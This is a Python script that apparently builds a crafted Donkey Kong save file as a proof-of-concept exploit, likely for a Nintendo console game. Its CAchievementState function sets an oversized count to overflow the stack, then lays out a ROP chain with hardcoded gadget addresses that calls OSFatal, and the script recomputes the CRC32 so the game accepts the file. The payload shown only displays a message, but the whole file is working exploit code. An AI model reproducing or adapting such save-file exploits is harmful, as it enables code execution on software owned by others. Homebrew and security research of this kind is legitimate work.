build.py

import struct
import binascii

class Stream:
	def __init__(self, data):
		self.data = data
		self.pos = 0
		
	def seek(self, pos):
		self.pos = pos
		
	def write(self, data):
		self.data[self.pos : self.pos + len(data)] = data
		self.pos += len(data)
		
	def skip(self, num):
		self.pos += num
		
	def u8(self, value):
		struct.pack_into(">B", self.data, self.pos, value)
		self.pos += 1
		
	def u16(self, value):
		struct.pack_into(">H", self.data, self.pos, value)
		self.pos += 2
		
	def u32(self, value):
		struct.pack_into(">I", self.data, self.pos, value)
		self.pos += 4
		
	def u64(self, value):
		struct.pack_into(">Q", self.data, self.pos, value)
		self.pos += 8
		
	def float(self, value):
		struct.pack_into(">f", self.data, self.pos, value)
		self.pos += 4
		
	def double(self, value):
		struct.pack_into(">d", self.data, self.pos, value)
		self.pos += 8
		
	def list(self, func, values):
		for value in values:
			func(value)

	
def CObjectId(stream, a, b, c, d):
        #This is a guid
	stream.u32(a)
	stream.u32(b)
	stream.u32(c)
	stream.u32(d)
	
def SSaveGameHeader(stream):
	cookie = b"USE" + bytes([ord("U") ^ ord("F")])
	stream.write(cookie)
	stream.write(cookie)
	stream.u32(0) #Current save slot
	stream.list(stream.u8, [1, 0, 0]) #Initialized slots
	stream.write(b"SAVH")

def CGlobalAreaStateManager(stream):
	stream.write(b"GAST")
	stream.u8(1) #Count
	for i in range(1):
		CObjectId(stream, 0, 0, 0, 0)
		stream.float(0)
		stream.u16(0)
	
def CSystemState(stream):
	stream.write(b"SYST")
	CGlobalAreaStateManager(stream)
	stream.u8(0x40)
	stream.u8(0)
	stream.u8(0)
	stream.u8(0)
	stream.u8(0)

def SInventory(stream):
	for i in range(21):	
		stream.u32(0) #Items
	
def CPlayerState(stream):
	SInventory(stream)
	stream.u32(0)
	stream.u32(1) #Count
	for i in range(1):
		stream.u32(0)
		
def CGameOptions(stream):
	stream.write(b"OPTN")
	stream.u8(0)
	stream.u8(0)
	stream.u8(0)
	stream.u8(0)
	
def CAchievementState(stream):
        #This is where the stack overflow occurs
	stream.u32(126) #Count
	for i in range(112):
		stream.u32(0)

        #ROP starts here
	stream.u32(0) #r26
	stream.u32(0) #r27
	stream.u32(0) #r28
	stream.u32(0) #r29
	stream.u32(0) #r30
	stream.u32(0x1000485C) #r31, "Error: No crashed application found.\n"
	stream.u32(0) #SP (not read)
	stream.u32(0x0EB04FF8) #LR, moves r31 to r3
	stream.u32(0)
	stream.u32(0)
	stream.u32(0x1145B854) #CInputBitStream.streamPtr
	stream.u32(0) #CInputBitStream.curValue
	stream.u32(0) #CInputBitStream.bitsLeft
	stream.u32(0x01031618) #OSFatal
	
def CGameState(stream):
	stream.write(b"GMST")
	stream.u32(0)
	CPlayerState(stream)
	stream.u8(0)
	stream.list(stream.u32, [0, 0])
	stream.u8(0)
	stream.list(stream.u32, [0, 0])
	stream.u8(0)
	stream.u8(0)
	CObjectId(stream, 0, 0, 0, 0)
	CObjectId(stream, 0, 0, 0, 0)
	
	doubleValue = struct.unpack(">Q", struct.pack(">d", 0))[0]
	stream.u32(doubleValue & 0xFFFFFFFF)
	stream.u32(doubleValue >> 32)
	
	for i in range(5):
		stream.u32(0)
		stream.u32(1) #Count
		for j in range(1):
			stream.u32(0)
	CGameOptions(stream)
	CAchievementState(stream) #Exploit

	#We don't need to build the save file behind the achievement
	#state, since the game doesn't reach it anyway


#The size of a donkey kong save file is always 0x40000 bytes
data = bytearray(0x40000)
stream = Stream(data)

stream.skip(4) #CRC32
SSaveGameHeader(stream)

systemData = bytearray(0x849)
CSystemState(Stream(systemData))
stream.write(systemData)

CGameState(stream) #Exploit 
stream.seek(0) #Move back to start of file to add checksum
stream.u32(binascii.crc32(stream.data[4:]) ^ 0xFFFFFFFF)

with open("save.bin", "wb") as f:
	f.write(stream.data)